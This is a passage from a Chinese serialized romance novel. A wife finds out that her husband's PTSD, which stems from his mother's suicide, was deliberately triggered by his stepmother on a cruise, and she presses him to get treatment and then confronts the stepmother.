沈灼“嗯”了声，“那就好，我怕他又让你做你不喜欢的事。” 邵成章忍不住抱住她，“老婆，你怎么能这么好。” 怎么能对他这么好。 沈灼哼了声：“你才知道我好啊。”她回抱了下他，又示意他松开站到她身后，沈灼握住他的手放在自己腰上，然后自己伸开双臂，在模仿《泰坦尼克号》的经典镜头。 “Yo ujunp，I——算了算了，还是不要模仿这个了，太不吉利了。“沈灼收回手，摸着栏杆连呸三声逗笑了邵成章。 “不模仿这个还可以模仿点别的。” “嗯？什么？” 邵成章侧着脸，嘴唇擦着她的耳边，嘘声道：“模仿他们在车里做的事好了。” 沈灼憋着笑：“啊？我看的可能是删减版吧，不知道有这个剧情。” “是吗？”他低头，在她的颈侧一下一下地啄吻，“那老婆猜猜他们在车里做什么了？” “不知道诶，好难猜啊。”沈灼抿着唇不让自己笑出来。 邵成章突然松手，而后打横将她抱起来朝着舱内走去。 “邵成章，你放我下来！” “不是不知道剧情吗，我亲自演给你看。”邵成章脚步没停，低头勾唇看着她说。 “你这样进去一会儿被别人看到了！你快放我下来，我自己走！” “老婆你再这样喊，可真就把服务生喊来了。” 沈灼瞬间闭上嘴巴，她一拳捶在他的胸口，不过也没很用力，然后扒着他的肩膀，将脸埋进去了。 他们的房间是最高级别的套房，有独立的阳台。洗完澡邵成章赤身抱着瘫软的沈灼出来，没去床上，而是直接推开推拉门，走到了阳台。 太阳还露出一点点的头没沉下去，天色还残存着一丝光亮，海水与天幕逐渐融成同样的深蓝。他们仿佛被包裹进辽阔无边的海与天里，周遭逐渐安静下来，只剩下风声与浪声。 晚风有点微凉，吹过沈灼的每一寸皮肤带起一层细小的疙瘩，看清这是哪里，她不禁出声：“别在这儿。” 面前就是一望无际的大海，而且顶层的套房相距都很远，没人看得见他们，但沈灼总感觉还是会有暴露的羞。耻感。 可邵成章偏偏不。 他放她下来，背对着他。 海浪晃，沈灼也晃。船身摇，沈灼也摇。 零星细碎的声音溢出来，接着又迅速被海浪扑在船体的声音掩盖。 邵成章贴在她的耳边说了什么，一句话，就让沈灼的羞。耻心涨满。 她浑身一缩。 邵成章也忍不住闷哼一声。 其实什么都听不到，缠绵缱绻的声音被海风一吹就消散在空气里。 沈灼不要背对着他，她转过身来要面对面地看着他带着自己一同到达极点。 * 与此同时，同层另一端的房间内，气氛却是压抑。 兰芙玉脸色阴沉，眉头紧皱，“你是不是早就知道你爸要给沈灼股份了？” 站在一旁的邵成恪默不作声。 兰芙玉忍不住拍桌子，厉声道：“你是脑袋有什么问题了，怎么能把我们家的财产同意给那小三的儿子？！” “妈！”邵成恪出声制止，“我理解你恨那个女人，但是她已经死了。成章和沈灼都没错，为什么你对他们也耿耿于怀呢？” “我耿耿于怀？如果不是我，你以为你能当上邵恒的总裁吗，一定会被邵成章抢去的。”兰芙玉斜眼看他。 “成章从来都没有想进邵恒的打算。” “哼，那是因为他知道斗不过我，他如果敢有这念头，我也绝对不会让他得逞的。儿子，你就是心太软了，不要谁对你示好你就对他好，那都是假的，这天底下只有妈妈对你才是最好的。邵成章是那贱人的儿子，他成年礼你爸爸就送了他10%的股份，现在他的妻子孩子也都有咱们家的股份了，他凭什么过这么好的日子？” 邵成恪叹口气，“成章这些年，账户上的钱从来没动过，他有自己的事业，他过得也很好。” “如果不是你爸爸让他接受这么好的教育，供他出国读书，你以为他能有现在的生活吗？” “妈，我从来没见过你这个样子。”兰芙玉从来都是大方得体的，现在的这一刻却让他感觉像个不可理喻的妒妇。“如果要论错，爸才是唯一犯错的人，你怪不了他，就只能将恨意转移到成章身上。” 兰芙玉震惊又委屈地看着自己的儿子，“你怎么能这么说妈妈呢？” 邵成恪转身离开，走前和她保证：“如你所愿，我会好好经营邵恒的，也不会让成章进公司任职，所以你大可放心，也不要再想这些了，我希望你能开心一些。” 邵成恪离开后，兰芙玉掩面哭起来，她的儿子怎么能不和她一条心呢？ 没有哪个女人会喜欢自己的丈夫和别的女人生的孩子。这二十多年只要一看到邵成章，一想到他，她就会想起她的丈夫有了别的女人。她的一生骄傲体面，而邵成章的存在是她一辈子的污点！ 没人替她想过她的心情！ 希望她开心？ 兰芙玉抹掉眼泪，只要邵成章过得好，她就没办法开心！ 第100章 邮轮傍晚在S市港口停靠，白日Nora无聊来找沈灼去顶层甲板的无际泳池拍照，但沈灼本来约好了和邵成章去玩F1模拟赛车，她看了眼邵成章，他冲沈灼笑笑让她先和Nora去拍照，等中午他找她们汇合一起吃午餐。 等沈灼走后，邵成章打开电脑开始查看工作邮件。 临近中午，房门被敲响，邵成章开门，发现是一名服务生。 “邵先生，邵太太让我带您去用餐地点。” 邵成章道：“不用麻烦你，告诉我楼层和餐厅名字就好。” 服务生：“太太说了，要我亲自带您过去。” 嗯？不知道她要干什么，不过邵成章本就和她约好了午餐，于是也没有过多怀疑，进屋拿上手机便跟着服务生进了电梯。 他撇了一眼电梯面板，服务生竟然带他去5层。他微一皱眉，据他所知，邮轮上所有的餐厅都在6层以上，5层似乎都是内舱房……他掏出手机想给沈灼发消息，但电梯里没有信号。 “叮”的一声，电梯门开。服务生率先走出了电梯，在前面引路。 走廊逼仄狭长，灯光昏暗，两侧是一扇扇紧闭的木质房门，邵成章的呼吸一瞬间变得紊乱，他垂在身侧的手不受控制地攥紧，指节泛白。 “你要……带我去哪儿？”他的气息有些不稳，耳边渐渐嗡鸣，走廊的灯光在眼里拉长变形，与记忆中幽暗的封闭空间重叠。 “到了。”服务生在一扇门前停下，刷卡之后，他冲邵成章比了个“请进”的手势。 “沈灼人呢？”邵成章紧皱着眉头，脚下像被钉住般，迟迟没踏进去。 “太太说请您在房间里稍等一会儿，她马上就来。” 邵成章后退一步，喉结上下滚动，呼吸短促而急促，他不得不闭上眼，压着声音说：“那我……我站在这里等她。” 服务生点点头，从邵成章的身后绕过离开。 邵成章垂下头，手撑在墙壁上，他努力深吸一口气，却只吸进更多陈闷的空气，胸口愈发沉重。忽然间，后颈传来一阵钝痛，他眼前一黑，失去了意识。 * “对不起，您拨打的电话……” “还是没人接吗？”Nora在一旁问。 沈灼摇摇头，对Nora笑笑，“算了，我们先吃吧，可能他有事。” “嗡嗡——”手机震动起来，是邵成章发来的消息。 邵成章：“老婆，你们先吃。” “他应该不过来了，不管他了，咱们先点。”前几天都吃的白人饭，最后一天两个人实在是吃腻了，来吃牛肉火锅。 吃完饭，沈灼回到房间发现邵成章不在，她没多想，爬上床准备午睡一会儿。 昨晚进行的时间太长了，从阳台结束，邵成章又抱着她来到了泡汤池，温热的水汽给周围的玻璃蒙上一层雾。邵成章站在池子里从后面抵着她，她的双腿已经站不稳了。整个人颤颤巍巍地只能一 手撑着池子边缘，一手撑着玻璃，在上面留下一个个手印。 足足睡了一个多小时，邵成章竟然还没有回来，她伸手去拿床头的手机，发现也没有给她回消息。随手拨了个语音过去，几乎是立刻被挂断。她怔了怔，想起邮轮上的网络时常不稳，又切换成电话号码拨出去。 “您拨打的电话已关机。” 冷冰冰的提示音在安静的房间里回荡。 沈灼愣住。邵成章从来没有让自己找不到人的时候。 她坐不住了，立刻打给邵成恪，问他邵成章是不是和他在一起，没想到大哥说没有。 沈灼眉心骤然拧紧。她换上衣服，去了甲板找了一圈没有看见他；她又折回，去了模拟赛车区，连角落都找遍，仍旧不见人影。每拨一次电话，传回来的依旧是关机提示。 心口逐渐沉重下坠，沈灼忽然意识到——邵成章，失踪了。 她慌忙给邵成恪打电话，说找不到邵成章了。邮轮一直在海上航行，说明人还在船上。沈灼冷静两秒想了想，她要求立即查监控。 他们是上午十点左右才分开的，在十一点的时候沈灼发现有人去敲门，她从监控里看见邵成章跟着那人进了电梯。 “请帮我调一下电梯的监控。”沈灼焦急道。 保安一顿操作，发现电梯的监控坏了，画面全是滋滋啦啦的雪花。 沈灼心一沉，5层以下不对外开放，一共有12层，光是搜遍这12层甲板，都要费好一阵工夫。邵成恪让她别急，他喊来经理，说明情况，要求不惊扰其他宾客的情况下进行搜索。 “大哥，给我一张万能房卡。”沈灼急切要求。 “他们一有消息会立即通知我们的，你安心等着就好。” 沈灼摇头，语气坚定：“不行，我要自己去找他，有消息你给我打电话。” * 邵成章悠悠转醒，只感觉后颈胀痛，他费力地睁开眼，发现自己躺在一间封闭的房间里。缓缓坐起，目光不经意落在正对的床边。 床上躺着一个女人。 她穿着一条纯白的连衣裙，安静得没有一丝声息，像是沉入无尽的梦境。 邵成章瞳孔骤缩，呼吸猛地一滞——那一幕几乎与他儿时的记忆重叠。 十岁那年，卧室的门紧闭着，他推开门后看见母亲也是这样安静地躺着。 如今眼前的画面几乎一模一样。 一瞬间冰冷窒息的恐惧从脊椎直窜到大脑。他的胸口骤然抽紧，呼吸变得急促，手指发抖，甚至无法抬手去确认床上的人是否还活着。他耳边嗡鸣，额头冒出细密的冷汗。 “妈妈……妈妈，你不要丢下我。”声音嘶哑低沉，却带着孩童般的惊惧。 狭窄昏暗的房间里，一个孩子跪在床边，不停晃着母亲的手臂，声音哽咽嘶喊：“妈妈，醒醒啊……求你醒过来……”可是床上的女人纹丝不动，孩子哭到撕心裂肺，却依旧得不到回应。 邵成章的胃里翻涌，他几乎要呕吐出来，指节死死扣住地板，脸色惨白。他努力想拉回意识，却越挣扎越像陷入无边的漩涡，呼吸急促得几乎要窒息。 “妈……我求你……你醒过来，我求你……”邵成章声音彻底破碎，眼眶赤红，几乎哭了出来。 视线开始模糊，他分不清眼前到底是幻觉还是现实。他像是被被拽进深海，四周黑暗一片，只有他孤零零地一个人，只有窒息、无助和被抛下的恐惧。 突然响起“滴滴”解锁声，沈灼推开门，听到呜咽细碎的声音。 “邵成章？”她心一紧，冲进去，看到邵成章撑在地上，整个人都在发抖，她跪在他身边抱住他，担忧地问他，“你怎么了？怎么会在这里？” “妈妈……她不要我了。”邵成章颤抖着声音说。 沈灼不知道为何他会突然这么说，刚想说“没有妈妈”，抬眼便看见床上躺了个人吓了她一跳，她伸长脖子看了一眼，发现那只是个假人。 她想起邵成章和自己说过赵韵自杀的事情，瞬间了然，她伸手托起他的脸，强迫他直视自己，“没有人要丢下你，我在这里，嗯？你看着我，我在这呢。” 邵成章盯着沈灼几秒，像是在确认一般，“沈灼……” “是我。”沈灼用力抱紧他，下巴抵着他的额头，低声呢喃，“你刚刚看到的都是假的，我在这儿。” 温热的触感、她带着体温的呼吸、怀里传来的心跳声，让他回到现实。僵硬的身体缓慢放松，像是终于攀住了一处能让他不再坠落的岸。 良久，他埋下脸，哑声开口：“……别离开我。” 她拍拍他的后背安抚道：“不会，我永远不会离开你。” 直到怀里的人呼吸渐渐平稳，沈灼才缓缓松开他，抬眼细细打量。邵成章面色苍白，额上还带着冷汗，但眼神已经恢复了几分清明。她心头依旧不安，轻声问：“你到底怎么会在这间房间？刚刚到底发生了什么？” 邵成章立即知道是有人故意带他来这里的，抬眼与她对视的瞬间，瞳孔轻微一缩。短短几秒，他压下所有情绪，努力让声音听起来平静：“没什么，我刚才只是头晕，误打误撞走错了房间。” 沈灼愣了愣，显然觉得哪里不对，却见他已经勉强扯出一抹镇定的笑容。“真的，别担心。我没事了。” 沈灼心底虽有疑惑，但现在不是追究这个的时候，她点点头，将他搀扶着站起：“那我们先离开这里，好不好？” “好。”邵成章应了一声，站起来目光还是不经意掠过了床上的假人，他眼睫微颤，沈灼牵住他的手，带着他走出去。 沈灼给大哥打了个电话谎称邵成章只是去看电影，已经回房间了。这件事显然是有人特意安排的，但对方是有什么目的，沈灼想不明白。 邵成章出了一身冷汗，沈灼让他先去洗澡，他却拉着沈灼的手不放。 “放心，我不走。你一出来就会看见我。”沈灼把他推进卫生间，“你是不是还没吃饭，我给你叫餐，洗完出来吃饭。” 邵成章这才点头松开她，他拿了浴袍进去，快速地冲了个澡。 他要冷静下来，他要恢复正常，绝对不能让沈灼发现他的异常。 洗完澡邵成章状态好了很多，因为临近靠港，餐厅此时也没有很多选择，沈灼点了个清汤面，看着邵成章吃完。 傍晚，大家陆续下船，兰芙玉见到他们意外地和他们打招呼，“成章你还好吧，怎么感觉脸色不太好？” “谢谢妈的关心，我很好。” 兰芙玉笑得意味深长，“一定要保重身体啊。” 沈灼盯着兰芙玉，觉得她有些反常。平时连一个眼神都不会给邵成章，今日怎么这般殷勤地关心他？ S市是邵恒集团第二大产业分布城市，邵松和邵成恪要在S市多停留几天，当晚沈灼和邵成章先返回A市。 沈灼怕邵成章被那天的情形吓到，一直留意他的状态，好在回来之后邵成章就恢复正常了，除了一个反常，就是他比往日更黏她。 平时工作时间他们不会 发太多消息，都在各自忙各自的事情，现在邵成章经常会问她好几次在干嘛，如果她晚上有饭局，他一定要去接她。 不过一段时间后，她发现邵成章晚上会失眠，做噩梦，每次惊醒都回出一身冷汗。每次抱着安抚他的时候，她会感觉他的呼吸和心跳非常快。 邵成章再次被噩梦惊醒，沈灼打开床头灯，看他又是满头细密的汗珠，她抽了一张纸巾给他擦汗。 “抱歉，我又吵醒你了。”邵成章有些愧疚。 “你最近工作压力很大吗？”她忍不住问他，“有压力你可以和我说说，虽然我也帮不了什么，但是说出来会好很多。” 邵成章一怔，抿着唇过了好一会儿问她：“为什么……会这么认为？” “感觉你最近好累好疲惫，睡眠状态也不好。” 邵成章勉强着笑了下：“别担心，我会调整好自己的状态的。” 之后，邵成章的精神好很多，可是沈灼发现邵成章又对她进入到一段倦怠期，很明显的是做。爱时间短了。而且邵成章回来，身上会有一种沈灼从未闻到过的味道。 但确切的说，也不是明显的女香，而是一种木制香味，闻起来很舒服。一开始只是一点点，沈灼没有多想，以为是见过的客户或者员工身上的味道，可当他身上的味道越来越浓烈的时候，她不得不怀疑。 难道邵成章，是出轨了吗？魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 100-105 第101章 邵成章出轨的念头转瞬即逝，沈灼并不相信他会出轨。女人在这件事上往往有种说不清的敏感和直觉，而她丝毫没捕捉到任何异常的信号。可隔三差五闻到那股陌生的木质香味，总让她心头泛起一股不安。 她找出陈航曾经推给她的私家侦探，好在对方只认钱不认人。 三天后，她收到了邵成章的行程。在这三天时间里，邵成章去过一家私立精神科医院，沈灼留心过日子，邵成章去医院的那天，他的身上就有陌生的木质香味道。 他去精神科医院干什么？ 沈灼回想起最近他的状态，虽然网上搜索病症不靠谱，但好歹能让她有个心理准备，她将他的症状在一查，整个人懵住了。 轻者是轻度抑郁症焦虑症等，重者是躯体化表现。 越看，她的眉头皱得越紧，于是当机立断挂了同一位医生的号。 当诊室门口的电子屏显示她的名字时，她竟然有些紧张。推门而入的瞬间，一股熟悉而陌生的木质香气扑面而来。沈灼抬眼看到办公桌后，坐着一位中年女人。她保养得宜，气质知性大方。 主治医师李霁初看见沈灼后，明显地怔了几秒，而后对她笑笑，打招呼道：“你好沈灼，坐吧。” 沈灼微笑点头示意，走到她桌面的椅子坐下，“李医生你好，今天我来其实不是来咨询的，我是——” “我知道你为什么来，你是Soren的爱人。”李霁初说的很肯定。 这回轮到沈灼愣了，“你怎么知道……” “刚开始看到你的名字，还以为是重名，但看到你本人我就知道了，Soren给我看过你的照片。”李霁初温柔地说，“你等我一分钟好吗？” 沈灼点点头。 她是今日最后一位病人，李霁初登录系统，选择了今日停诊。“走吧，我们出去聊聊。” 沈灼跟着李霁初来到一家医院附近的咖啡厅，点好咖啡，沈灼先开口：“李医生，我想知道邵成章他到底怎么了？为什么他会频繁来看精神科？” 李霁初迟疑片刻才道：“Soren是我的病人。按职业操守，我不能泄露他的病情。”话音一顿，她叹了口气，“但是——” 沈灼抬眸紧紧盯着她，耐心等待下文。 “我和Soren在国外的时候就认识了，他比我小十几岁，我一直把他当弟弟看待。于私，我真的很想告诉你一些事情。” 沈灼眉心一紧，十年前邵成章就有心理问题了？ 她放缓声音，郑重开口：“李医生，请你相信我。我来找你，就是想帮他。他最近的状态很不好。” “确实，现在也只有你能帮他了。你知道吗？我和Soren中间有很长一段时间没有联系。对他来说，不来找我就是好事，说明他过得平稳。可是一年前，他突然联系了我。”李霁初眼底闪过一抹笑意，“不过不是向我咨询心理问题，而是感情问题。” 沈灼扬起眉毛，有点诧异。 “我第一次见他对一个女孩子那样紧张。他说自己没有恋爱经验，很怕在关系里让你觉得不舒服，于是来问我该怎么谈恋爱。” 沈灼怔住，心底泛起酸涩和感动。她低声道：“他……真的很好。是我不好，我从没察觉到他有心理问题。”心口忽然一紧，自责随之而来，是不是自己对他关心得太少了？ “这不怪你。Soren是因为他母亲的事情，有严重的创伤后应激障碍，也就是大众说的PTSD。他花了两年的时间才稳定下来，恢复后，他在工作生活中和正常人无异，你发现不了也很正常。” 沈灼很震惊。 “你应该发现了在他的家里，没有门对吧？” 她缓缓地点头。 “那是因为他推开门后发现了自杀的母亲。自那以后，只要遇到相似的木门，他都会呼吸急促，记忆会控制不住地回到那一天。他甚至没办法独自待在狭小的房间里。” 沈灼心头狠狠一震。她想起搬到悦澜湾的第一天，她问过他为什么家里没有门，他只是淡淡带过，她却误以为那是特别的装修风格。 “据我所知，PTSD是收到重创或者重现创伤场景才会——”沈灼话还没说完，脑海中就突然闪现了前端时间邮轮上的假人事件。 对，就是从邮轮回来之后，邵成章的状态开始变差。 那个房间根本不是邵成章误闯，而是有人蓄意安排的！ “而且，这次不仅诱发了他的PTSD，还有抑郁、分离焦虑，比之前的情况更严重。现在他在服用抗抑郁药物，但药效越来越不明显了。”李霁初郑重地和她说，“沈灼，他现在不能再这样下去了，他需要更系统的治疗。” * 沈灼恍恍惚惚地回家，一路上她脑子乱的很。 邮轮上的假人到底是谁安排的？邵成章的病情越来越严重，该怎么让他接受全面治疗？她一点头绪都没有。 一进门，她才发现迟女士过来了。迟女士刚和姐妹们从滇省旅游回来，夏季的滇省是个避暑的好地方而且菌子新鲜。这不中午的飞机，迟女士早上就去市场买了好多的新鲜菌子，落地之后赶紧给沈灼送过来。 迟女士一边整理食材，一边叨叨着各种菌子的名字，说可以让陈姨炖汤、煲鸡。沈灼心不在焉，完全听不进去，只是有一搭没一搭地应着。 “嗡嗡——”手机突然显示一个陌生的电话号码，沈灼接通后，对方问她是不是邵成章的家属。 对方告诉她：邵成章，出车祸了。 沈灼只觉心脏一阵发紧，她慌忙拿起包就往外走。迟女士追上来，坚持要一起去：“你一个人跑前跑后忙不过来，我跟着去照应。” 母女俩赶到医院，护士告知邵成章已经办好住院手续，正在做CT检查。 “呀，你是那小伙儿的家属吧？”走廊里，一个中年男人指着沈灼喊，“哎我和你说，这事儿跟我可没关系啊，是他突然下车跑出来闯红灯，得亏我这刚起步车速不快，这怎么说都是你们的问题，我没责任。” 邵成章怎么会在大马路上闯红灯呢？沈灼心想。她一心系挂着邵成章的伤势，对司机有些不耐烦：“是谁的责任这你说我说都不算，交警怎么判就怎么解决。” 话音刚落，防护门推开，邵成章坐上轮椅被护士推着出来。 “邵成章！”沈灼立刻迎上 去，蹲在他身边，急切地看着他，“你怎么样？伤到哪儿了？”她迅速地扫了一眼，发现他的身上没有血迹。 邵成章抬起眼，神色恍惚，像是没完全回过神。他的唇色苍白，眼神涣散，声音沙哑：“……我没事。” 沈灼心口更紧，握住他冰冷的手，急声追问：“什么叫没事？你不是开的车吗，怎么会下车闯红灯？到底是怎么回事？你是不是哪里不舒服才……” 邵成章只是张了张口，像是想开口解释，却又哽在喉咙，最终冲她轻轻摇了摇头。沈灼看了眼四周，意识到什么，她没有再问。 检查结果出来得很快，所幸并无大碍。邵成章身上只是多处软组织挫伤，没有伤及骨头和内脏。医生给他开了云南白药和活血化瘀的内服药。 邵成章坚持要回家修养，沈灼却不同意：“万一有延迟性损伤怎么办？先在医院观察几天。” 因为事发突然，护士最初安排的是普通病房，沈灼当即要求升到国际部的套间病房。国际部不管是环境还是护理条件都是顶级的。 一番折腾完，她叫车把迟女士送回去。返回病房，她坐在床边，握住邵成章的手。 “这里只有我们两个了，”她低声道，“你还不愿意告诉我吗？” 邵成章沉默着，长长的睫毛垂下，像要把所有情绪藏起来。 “好吧，如果你不想和我说的话，那我和你说我今天去干什么了吧。”沈灼盯着他道，“我去见李霁初医生了。” 听到李霁初，邵成章猛地抬头，眼神骤然收紧，难以置信地望着她。他被握住的那只手下意识想往回缩，却被沈灼牢牢扣住。 “你都知道了么？”好一会儿他才开口，他的声音低哑，眼神闪躲，不敢与她对视。 “嗯。”沈灼不带一丝情绪，很平静地问他，“所以你为什么会冲到车流里去？” 邵成章喉咙动了动，“……我看见妈妈了。她在马路对面朝我招手。可是当时是红灯，我来不及想，就下车跑过去找她。” 沈灼怔住，愣了好几秒才反应过来，他说的“妈妈”，不是迟女士，而是赵韵。 怎么可能呢，邵成章是已经出现幻觉了吗？ 沈灼心口猛地一紧，整个人被一股无形的恐惧攫住，这是不是说明邵成章的病情正在加重？！ 她努力压下翻涌的情绪，仍旧弯了弯唇角，面上保持着镇定，“你一定是看错了，以后再也不可以这么冲动了知道吗，如果当时的车速再快一点呢，你知不知道我接到电话的时候有多害怕？” 邵成章移开视线，“对不起。”顿了顿，他忽然抬眸，眼底掺着犹豫与自责，“老婆，你是不是对我很失望？” “为什么会失望？” “因为我没有你想的那么强大，我……有病。”邵成章声音艰涩地说出最后两个字。 沈灼摇摇头，“我们每个人都会生病，有时候是身体上，有时候是心理上，这没有什么的。”她直视着他，语气几乎带着祈求：“邵成章，我们接受治疗，好不好？” 第102章 邵成章喉结滚动，眼眶泛红，他极少这样失态。最终他闭了闭眼，像是艰难做出抉择，声音发哑：“好……我答应你。” 对邵成章来说，这是一次沉重的自我否定。他骨子里的骄傲与倔强，让他一直将脆弱埋藏在最深处，从不愿让人窥见。可现在，他答应沈灼接受治疗，也就等于承认自己真的病了，承认自己需要依靠别人。 听到他这么说，沈灼几乎是松下一口气，她鼻尖发酸，甚至有些想哭。 邵成章身上有些擦伤，还不能洗澡，沈灼拿着热毛巾给他简单擦拭一遍，又在肿胀的地方冰敷了二十分钟后给他喷上气雾剂，最后换上了病号服。 沈灼把顶灯关掉，留了一盏小射灯，她坐在床边催他睡觉。 “一起睡。”邵成章拍拍床边。病床还算宽敞，躺下两个人没有问题，但是沈灼睡觉不老实，他的胳膊和小腿都有肿胀的地方，她怕晚上不小心碰到他。 况且他这个样子，她也睡不踏实，翻来覆去的也会把邵成章吵醒。 沈灼坚持去旁边的沙发床睡，“等你睡着我就去睡。” 邵成章看着她，握着她的手微微收紧，沈灼愣了一下，和他保证自己不会走，他才放心地闭上眼睛。 他似乎终于得到了安全感，眼皮一点点沉下去。没多久，均匀细长的呼吸声响起，房间安静下来。 沈灼凝视着他的脸，目光中满是心疼。直到确认他真的睡沉了，她才小心翼翼地抽回自己的手，几乎是踮着脚走出病房。 然而门关上的瞬间，邵成章慢慢睁开了眼睛。 医生值班室的灯亮着。沈灼敲门进去，将邵成章的情况尽数告知。医生一边询问他服用的药物名称和剂量一边记录。 医生最终给出的建议是等三天观察没有车祸造成的延迟性损伤后，立即转入精神科病房，安排精神科和神经内科会诊，进行系统评估和药物调整。另外医生嘱咐她，家属配合很重要，要保持病人的情绪稳定，避免刺激，尤其要让他感觉到有人陪伴。 沈灼点点头。 轻微的嘎吱声，病房门被推开，邵成章闭上眼睛，只留一条细缝，他从中看到熟悉的身影，那颗在胸腔里狂跳的心脏才开始慢慢平复，憋在胸前的那口气终于能够呼出来。他现在没有办法忍受沈灼不在他身边。 沈灼走到病床前，见邵成章睡得安稳，这才放下心，轻手轻脚地回到沙发床，和衣躺下。 还没有从下午的震惊当中缓过神来，又经历了一晚上的紧张，一天的心绪起伏让沈灼浑身透支，顿感疲惫。身体松懈下来，但大脑异常清醒。 她忍不住回想当时在邮轮上发生的事，有人想要害邵成章，会是谁？ 不知怎么，她的脑海里突然浮现出兰芙玉的脸。 沈灼下意识蹙眉。她想起下船时，所有人都没察觉邵成章的异常，唯独兰芙玉看出来了，还出人意料地关心。这太反常了。 是她吗？可是为什么要这么做？邵成章已经多次表明不会回邵恒，于她还能有什么威胁？ 难道是邵松给她的股份吗？ 沈灼忽然想到了什么，起身解锁手机，打开一个金融平台，输入邵恒的股票代码，可以查到前十名股东名字和持股比例。 邵成章和邵成恪并列，各占10%的股份。最后一位就是兰芙玉，占5%的股份。 而现在邵松给了沈灼5%的股份，两家相比，只差5%，最后的那20%只看落入谁家的更多，谁就是邵恒的最大股东。一旦邵松百年，如果她和邵成章的股份超过大哥一家，他们联合小股东，就可以轻而易举拿到邵恒的绝对控制权。 不仅如此，二十年前赵韵自杀的真相，除了邵松，最清楚的就是兰芙玉。也只有她能精准地模拟出现场。 思绪理清，沈灼浑身都在发抖，怒火直冲脑门，她恨不得立刻冲去邵家，当面对质兰芙玉。可与此同时，更强烈的却是自责。 明明那件事从一开始就透着蹊跷，她却在下船后见 邵成章一切如常，便轻易相信他没事了，甚至后来还以为他是在工作上遇到了麻烦。 如果当时多想一步，早一点察觉到异常，她或许能更早知道邵成章的病症。那样一来，他也许就不会出事。 蠢，自己真的蠢到家了！ 沈灼在心里一遍遍责怪自己，眼泪不受控制地滚落，她抬手去擦，偏偏越擦越多。怕吵醒邵成章，她死死压着声音，哭得肩膀却还在一抽一抽颤抖。 安静的病房里，即便再小声抽泣的声音也十分明显，邵成章睁开眼睛，看到沈灼背对着他坐在沙发上，抬起手背在擦眼泪。 他挣扎着撑起身子，没顾得上穿拖鞋，赤脚走过去，将沈灼揽在怀里，手掌覆在她后脑轻轻揉着，“老婆，我会好的，不要担心也不要哭。” 这句安慰却像一根针狠狠刺进沈灼心里。越是听他这样平静的语气，她心里越难受，眼泪越止不住，还不如怪她几句。 沈灼放声大哭，“对不起邵成章……都是我不好，我应该、应该早点发现的……”她的声音含混在哭泣里，却满是自责与心痛，“真的对不起……” “我一定会好起来的。”邵成章对沈灼说，也像是在对自己说。 沈灼哭了好一会儿，眼泪鼻涕乱擦一通，她意识到现在已经很晚了，松开他让他赶紧回去睡觉。 “老婆，不抱着你我睡不着。” 半天，沈灼瓮声瓮气地说：“可是我没洗澡。”她今晚担惊受怕地出了一身冷汗，本想着将就一晚，明早等迟女士过来替她一会儿，她回家洗漱再拿些换洗的衣服来。 “我不嫌弃你。”邵成章笑了笑，“而且我也没洗澡，你也不能嫌弃我。” 最终沈灼还是被邵成章抱着上床睡了，他的身上还有气雾剂的味道，不算好闻，可她在他的怀里却感到安心。 * 翌日，沈灼发现自己的眼睛哭肿了，双眼皮肿成了内双，看着和单眼皮一样。好在病房里有冰敷的冰袋，她用毛巾包着敷了好一会儿才勉强消点肿。迟女士带着早餐来替沈灼一会儿，她说要回家拿些换洗衣服和生活用品，和邵成章保证中午前一定回来。 出了医院，沈灼给兰芙玉打了个电话，两个人约好在一个茶馆见面。陈姨见沈灼从外面回来，还很吃惊，沈灼告诉她从今天起暂时先不用来家里保洁了，她和邵成章都要出差。迅速洗漱一番，沈灼将衣物和生活用品都塞在行李箱里，风驰电掣地赶去茶馆。 兰芙玉选了一个包间，沈灼没想到她还有随行保镖，在门口就把她的手机和包强制性收走了，还用扫描仪给她全身扫了一遍才让她进去。 兰芙玉正坐在里面，姿态优雅地捧着青瓷茶杯，见沈灼进来，冲她得体一笑：“来了沈灼，坐吧。” “婆婆，我今天不是来喝茶的。”沈灼冷着脸在她的对面坐下，“我有事想和您确认。” 兰芙玉笑了下：“怎么感觉你的火气这么大，这是上好的陈年银针，解暑又降火，来尝尝。”她拎起茶壶，亲自给沈灼倒了一杯茶。 “对了，成章还好吗？怎么没和你一起来？”她脸上挂着笑，可眼底却丝毫没有笑意。 沈灼眯了眯眼睛：“您应该知道我今天来是想和您说什么吧？” 兰芙玉将茶壶放到一边，似笑非笑道，“哦，什么？我并不清楚。” “三十多年前，公公出轨别的女人，不仅出轨还生下了孩子，后来公公将邵成章带回来，还给了他和大哥一样的股份，你知道这意味着什么吗？”沈灼的声音充满嘲讽。 兰芙玉笑容微僵。 “表面风光靓丽的邵夫人，其实什么也不是。你的丈夫根本不爱你，你的儿子也不会真正体恤你，甚至对这个同父异母的弟弟关怀备至。而你，每次见到邵成章，都会想起你丈夫的背叛，永远活在这种失败和耻辱里。我知道你在邮轮上做了什么，你以为这样就能毁掉邵成章么？当然不可能。他会好好活着，因为他活着，就是对你最大的报复。” “闭嘴！你给我闭嘴！”兰芙玉彻底被激怒，眼睛瞪得滚圆，声音如利刃般刺耳。 沈灼冷笑一声：“哦对了，公公不是还有20%的股份是要留给我们的孩子们的么，我和邵成章现在就有备孕的打算，你问问你儿子他们能生吗？” 兰芙玉紧皱着眉头：“你什么意思？！” 沈灼不答，接着说：“劝你不要再耍这些卑劣手段。如果你一意孤行，邵恒以后CEO的位置就不一定非你儿子不可。当初公公想让邵成章和关昕结婚，是看重关家的权势，但很可惜这婚没结成。而现在，关司予是我手底下的艺人，我说一句话，他绝不会不帮忙。我的婆婆，你也不想让大哥的项目出现一些意外和麻烦吧？” 沈灼嘴角挑着一抹冷笑。 兰芙玉脸色阴沉下来，嘴唇紧抿一言不发，微微颤抖的手出卖了她的强装镇定。所有曾经的傲慢和优越感，在这一刻全然崩塌。 “婆婆要想大哥安稳接管邵恒，就好好当你的邵夫人就好了，以后见面咱们面上还能当和气的一家人。”这是沈灼离开包间之前，说的最后一句话。 虽然她恨不得把兰芙玉抓起来扔进监狱里，最好一辈子都不要出来祸害他们，可是不能。如果她公开闹大了这件事，只会对邵成章有害而无益，邵松绝对不可能为了这件事就和兰芙玉决裂，只会大事化小小事化了，最后公道没讨回来还出不了气。 这已经是她能想出来最好的办法了。只不过就是嘴快，不小心把Nora和大哥给卖了。 第103章 邵成章常年健身，身体素质好恢复得也快，加上迟女士每天变着花样地给他炖母鸡汤，鸽子汤，棒骨汤，三天后倒也没有疼痛的地方了，只是小腿和胳膊还有些肿，半个巴掌大的淤青泛着紫，看着有点骇人。 